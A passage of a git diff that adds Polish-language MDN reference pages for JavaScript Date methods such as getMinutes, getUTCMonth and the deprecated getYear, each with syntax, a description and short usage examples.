+<pre class="syntaxbox"><code><var>dateObj</var>.getMilliseconds()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getMilliseconds</code> jest liczbą pomiędzy 0 a 999.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getMilliseconds" name="Przyk.C5.82ad:_Zastosowanie_getMilliseconds">Przykład: Zastosowanie <code>getMilliseconds()</code></h3>
+
+<p>Następujący przykład przydziela liczbę milisekund aktualnego czasu do zmiennej <code>ms</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var ms = today.getMilliseconds();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html
new file mode 100644
index 0000000000..3ee877bd14
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html
@@ -0,0 +1,48 @@
+---
+title: Date.prototype.getMinutes()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getMinutes
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca minuty dla określonej daty w zależności od czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getMinutes()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getMinutes</code> jest liczbą całkowitą z przedziału od 0 do 59.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getMinutes" name="Przyk.C5.82ad:_Zastosowanie_getMinutes">Przykład: Zastosowanie <code>getMinutes</code></h3>
+
+<p>Druga instrukcja poniżej przypisuje wartość 15 do zmiennej <code>minutes</code>, bazując na wartości obiektu <code>Xmas95</code> typu <code>Date</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:00");
+var minutes = Xmas95.getMinutes();
+
+console.log(minutes); // 15
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<div class="noinclude">
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
+</div>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html
new file mode 100644
index 0000000000..bf3e74b56b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html
@@ -0,0 +1,46 @@
+---
+title: Date.prototype.getMonth()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getMonth
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca miesiąc dla określonej daty w zależności od czasu lokalnego.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getMonth()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getMonth</code> jest liczbą całkowitą z przedziału od 0 do 11. 0 reprezentuje styczeń, 1 luty, i tak dalej.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getMonth" name="Przyk.C5.82ad:_Zastosowanie_getMonth">Przykład: Zastosowanie <code>getMonth()</code></h3>
+
+<p>Druga instrukcja z przykładu poniżej przypisuje wartość 11 zmiennej <code>month</code>, bazując na wartości obiektu <code>Xmas95</code> typu <code>Date</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:00");
+var month = Xmas95.getMonth();
+
+console.log(month); // 11
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html
new file mode 100644
index 0000000000..f471165425
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html
@@ -0,0 +1,46 @@
+---
+title: Date.prototype.getSeconds()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getSeconds
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca sekundy dla określonej daty w zależności od czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getSeconds()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getSeconds</code> jest liczbą całkowitą z przedziału od 0 do 59.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getSeconds" name="Przyk.C5.82ad:_Zastosowanie_getSeconds">Przykład: Zastosowanie <code>getSeconds()</code></h3>
+
+<p>Druga instrukcja poniżej przypisuje wartość 30 do zmiennej <code>secs</code>, bazując na wartości obiektu <code>Xmas95</code> typu <code>Date</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:30");
+var seconds = Xmas95.getSeconds();
+
+console.log(seconds); // 30
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/gettime/index.html b/files/pl/web/javascript/referencje/obiekty/date/gettime/index.html
new file mode 100644
index 0000000000..a57da23566
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/gettime/index.html
@@ -0,0 +1,47 @@
+---
+title: Date.prototype.getTime()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getTime
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca liczbę reprezentującą czas dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<p>Może być wykorzystana do przypisania daty i czasu do innego obiektu {{jsxref("Date")}}. Ta metoda jest funkcjonalnie równoważna metodzie {{jsxref("Date.valueof", "valueOf()")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getTime()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez metodę <code>getTime</code> jest liczbą milisekund liczoną od 1 stycznia 1970 00:00:00.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getTime" name="Przyk.C5.82ad:_Zastosowanie_getTime">Przykład: Zastosowanie <code>getTime()</code></h3>
+
+<p>Następująca instrukcja przypisuje wartość daty <code>theBigDay</code> do <code>sameAsBigDay</code>:</p>
+
+<pre class="brush: js">var theBigDay = new Date("July 1, 1999");
+var sameAsBigDay = new Date();
+sameAsBigDay.setTime(theBigDay.getTime());
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.setTime()")}}</li>
+ <li>{{jsxref("Date.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html b/files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html
new file mode 100644
index 0000000000..7805486fde
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html
@@ -0,0 +1,35 @@
+---
+title: Date.prototype.getTimezoneOffset()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getTimezoneOffset
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca przesunięcie strefy czasowej w minutach dla bieżącej lokalizacji.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getTimezoneOffset()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Przesunięcie strefy czasowej jest to różnica, wyrażona w minutach, pomiędzy <strong>Greenwich Mean Time</strong> (<strong>GMT</strong>) a bieżącym czasem lokalnym. Na przykład, jeśli aktualna strefa to GMT+10, wynikiem jest -600. Wartość nie jest liczbą stałą ze względu na zmiany czasu na letni i zimowy.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h4 id="Przyk.C5.82ad:_Zastosowanie_getTimezoneOffset" name="Przyk.C5.82ad:_Zastosowanie_getTimezoneOffset">Przykład: Zastosowanie <code>getTimezoneOffset()</code></h4>
+
+<pre class="brush: js">var x = new Date();
+var currentTimeZoneOffsetInHours = x.getTimezoneOffset() / 60;
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html
new file mode 100644
index 0000000000..54f031b3d6
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html
@@ -0,0 +1,45 @@
+---
+title: Date.prototype.getUTCDate()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCDate
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca dzień (datę) miesiąca dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCDate()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartością zwracaną przez <code>getUTCDate</code> jest liczba całkowita z przedziału od 1 do 31.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCDate" name="Przyk.C5.82ad:_Zastosowanie_getUTCDate">Przykład: Zastosowanie <code>getUTCDate()</code></h3>
+
+<p>Następujący przykład przypisuje aktualny dzień miesiąca do zmiennej <code>d</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var d = today.getUTCDate();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html
new file mode 100644
index 0000000000..4ce3b4207b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html
@@ -0,0 +1,45 @@
+---
+title: Date.prototype.getUTCDay()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCDay
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca dzień tygodnia dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCDay()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getUTCDay</code> jest liczbą całkowitą określającą dzień tygodnia: 0 dla niedzieli, 1 dla poniedziałku, 2 dla wtorku itd.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCDay" name="Przyk.C5.82ad:_Zastosowanie_getUTCDay">Przykład: Zastosowanie <code>getUTCDay()</code></h3>
+
+<p>Następujący przykład przypisuje aktualny dzień tygodnia do zmiennej <code>weekday</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var weekday = today.getUTCDay();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html
new file mode 100644
index 0000000000..646affed0e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html
@@ -0,0 +1,44 @@
+---
+title: Date.prototype.getUTCFullYear()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCFullYear
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca rok dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCFullYear()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartością zwracaną przez <code>getUTCFullYear</code> jest dodatnia liczba całkowita, zgodna z rokiem 2000, na przykład 1995.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCFullYear" name="Przyk.C5.82ad:_Zastosowanie_getUTCFullYear">Przykład: Zastosowanie <code>getUTCFullYear()</code></h3>
+
+<p>Następujący przykład przypisuje czterocyfrową liczbę aktualnego roku do zmiennej <code>yr</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var year = today.getUTCFullYear();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html
new file mode 100644
index 0000000000..0006fab388
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html
@@ -0,0 +1,44 @@
+---
+title: Date.prototype.getUTCHours()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCHours
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca godziny dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCHours()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getUTCHours</code> jest liczbą całkowitą z przedziału od 0 do 23.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCHours" name="Przyk.C5.82ad:_Zastosowanie_getUTCHours">Przykład: Zastosowanie <code>getUTCHours()</code></h3>
+
+<p>Następujący przykład przypisuje część aktualnej daty określającą godzinę do zmiennej <code>hrs</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var hours = today.getUTCHours();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html
new file mode 100644
index 0000000000..de048d2998
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html
@@ -0,0 +1,44 @@
+---
+title: Date.prototype.getUTCMilliseconds()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMilliseconds
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca milisekundy dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMilliseconds()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana <code>getUTCMilliseconds</code> jest liczbą całkowitą z przedziału od 0 do 999.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCMilliseconds" name="Przyk.C5.82ad:_Zastosowanie_getUTCMilliseconds">Przykład: Zastosowanie <code>getUTCMilliseconds()</code></h3>
+
+<p>Następujący przykład przypisuje część aktualnej daty określającą liczbę milisekund do zmiennej <code>ms</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var ms = today.getUTCMilliseconds();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html
new file mode 100644
index 0000000000..aabc9f16e7
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html
@@ -0,0 +1,44 @@
+---
+title: Date.prototype.getUTCMinutes()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMinutes
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca minuty dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMinutes()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getUTCMinutes()</code> jest liczbą całkowitą z przedziału od 0 do 59.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCMinutes" name="Przyk.C5.82ad:_Zastosowanie_getUTCMinutes">Przykład: Zastosowanie <code>getUTCMinutes()</code></h3>
+
+<p>Następujący przykład przypisuje część aktualnej daty określającą minuty do zmiennej <code>min</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var min = today.getUTCMinutes();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html
new file mode 100644
index 0000000000..75899683a3
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html
@@ -0,0 +1,44 @@
+---
+title: Date.prototype.getUTCMonth()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMonth
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca miesiąc dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMonth()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getUTCMonth()</code> jest liczbą całkowitą z przedziału od 0 do 11 odpowiadającą miesiącowi: 0 dla stycznia, 1 dla lutego, 2 dla marca, i tak dalej.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCMonth" name="Przyk.C5.82ad:_Zastosowanie_getUTCMonth">Przykład: Zastosowanie <code>getUTCMonth()</code></h3>
+
+<p>Następujący przykład przypisuje aktualny miesiąc do zmiennej <code>mon</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var mon = today.getUTCMonth();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html
new file mode 100644
index 0000000000..82f9d40634
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html
@@ -0,0 +1,44 @@
+---
+title: Date.prototype.getUTCSeconds()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCSeconds
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca sekundy dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCSeconds()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getUTCSeconds()</code> jest liczbą całkowitą z przedziału od 0 do 59.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCSeconds" name="Przyk.C5.82ad:_Zastosowanie_getUTCSeconds">Przykład: Zastosowanie <code>getUTCSeconds()</code></h3>
+
+<p>Następujący przykład przypisuje część aktualnej daty określającą liczbę sekund do zmiennej <code>sec</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var sec = today.getUTCSeconds();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/getyear/index.html
new file mode 100644
index 0000000000..fdb3c10d75
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getyear/index.html
@@ -0,0 +1,97 @@
+---
+title: Date.prototype.getYear()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getYear
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getYear
+---
+<p>{{JSRef}}{{ Deprecated_header() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca rok dla określonej daty w zależności od czasu lokalnego. Metoda <code>getYear</code> nie jest dłużej wykorzystywana i została zastąpiona metodą {{jsxref("Date.prototype.getFullYear", "getFullYear()")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getYear()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>getYear</code> zwraca rok minus 1900; tak więc:</p>
+
+<ul>
+ <li>Dla lat późniejszych lub równych 2000, wartość zwracana przez <code>getYear</code> wynosi 100 lub więcej. Przykładowo, dla roku 2026, <code>getYear</code> zwraca 126.</li>
+</ul>
+
+<ul>
+ <li>Dla lat pomiędzy i włącznie z latami 1900 i 1999, wartość zwracana przez <code>getYear</code> zawiera się w przedziale od 0 do 99. Na przykład, jeśli mamy rok 1976, <code>getYear</code> zwraca 76.</li>
+</ul>
+
+<ul>
+ <li>Dla lat wcześniejszych niż 1900, wartość zwracana przez <code>getYear</code> jest mniejsza niż 0. Na przykład, dla roku 1800, <code>getYear</code> zwraca -100.</li>
+</ul>
+
+<p>Aby obsłużyć lata zarówno przed jak i po roku 2000, należy zamiast <code>getYear</code> użyć metody {{jsxref("Date.prototype.getFullYear", "getFullYear()")}}, która zwraca pełną liczbę określającą rok.</p>
+
+<h2 id="Kompatybilno.C5.9B.C4.87_wsteczna" name="Kompatybilno.C5.9B.C4.87_wsteczna">Kompatybilność wstecz</h2>
+
+<h3 id="JavaScript_1.2_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.2_i_wersje_wcze.C5.9Bniejsze">JavaScript 1.2 i wersje wcześniejsze</h3>
+
+<p>Metoda <code>getYear()</code> zwraca rok w formacie 2-cyfrowym lub 4-cyfrowym:</p>
+
+<ul>
